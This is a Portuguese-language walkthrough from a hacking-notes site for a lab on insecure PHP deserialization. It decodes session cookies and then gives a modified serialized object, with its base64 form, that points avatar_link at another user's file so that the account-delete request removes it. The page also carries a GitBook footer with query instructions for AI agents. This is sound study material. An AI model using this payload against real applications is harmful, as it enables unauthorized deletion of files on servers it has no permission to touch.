> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/deserialization/operation-via-application-functionalities.md).

# Explorando a Funcionalidade da Aplicação

### Usando a funcionalidade da aplicação para explorar a desserialização insegura

Este laboratório usa um mecanismo de sessão baseado em **serialização**. / Uma funcionalidade da aplicação invoca um **método perigoso** a partir de dados contidos em um objeto serializado controlado pelo usuário.

Modifique o objeto serializado no cookie de sessão para fazer com que o **`morale.txt`** arquivo seja excluído do diretório pessoal de **Carlos**.

**Contas disponíveis**

* Conta principal do usuário: `wiener:peter`
* Conta de emergência: `gregg:rosebud`

<figure><img src="/files/ed285a7fc4f7f94152abf5620acdf7ddb76ecbfa" alt=""><figcaption></figcaption></figure>

**Análise dos cookies de sessão**

Após a autenticação, a sessão é armazenada em um cookie contendo um objeto PHP serializado do tipo `Usuário`.

**Cookie do Wiener (após decodificação)**:

{% code overflow="wrap" %}

```json
O:4:"User":3:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"ftqcpwp5pletd4pz6qoblbohxt2by9zk";s:11:"avatar_link";s:19:"users/wiener/avatar";}
```

{% endcode %}

**Cookie do Gregg (após decodificação)**:

{% code overflow="wrap" %}

```json
O:4:"User":3:{s:8:"username";s:5:"gregg";s:12:"access_token";s:32:"xwtc1qpfy2h62e8xeokonwug6zpf6fxq";s:11:"avatar_link";s:18:"users/gregg/avatar";}
```

{% endcode %}

Observa-se que o **`avatar_link`** é usado pela aplicação em certas ações.

**Funcionalidade operável**

Quando o usuário clica em **Excluir conta**, uma requisição é enviada para:

```http
/my-account/delete
```

Este recurso processa o valor de `avatar_link` e aciona uma operação no arquivo apontado por este campo, sem validação suficiente.

{% code overflow="wrap" %}

```json
O:4:"User":3:{s:8:"username";s:5:"gregg";s:12:"access_token";s:32:"xwtc1qpfy2h62e8xeokonwug6zpf6fxq";s:11:"avatar_link";s:23:"/home/carlos/morale.txt";}
```

{% endcode %}

**Exploração**

A ideia é **substituir o valor de `avatar_link`** por um caminho arbitrário que leve ao arquivo a ser excluído.

**Propósito serializado alterado**:

```
Tzo0OiJVc2VyIjozOntzOjg6InVzZXJuYW1lIjtzOjU6ImdyZWdnIjtzOjEyOiJhY2Nlc3NfdG9rZW4iO3M6MzI6Inh3dGMxcXBmeTJoNjJlOHhlb2tvbnd1ZzZ6cGY2ZnhxIjtzOjExOiJhdmF0YXJfbGluayI7czoyMzoiL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO30=
```

Depois de enviar a requisição para `/my-account/delete`, o servidor responde:

<figure><img src="/files/1a8dafffed9cf6732405516b6a76fb35e13d6c68" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/deserialization/operation-via-application-functionalities.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
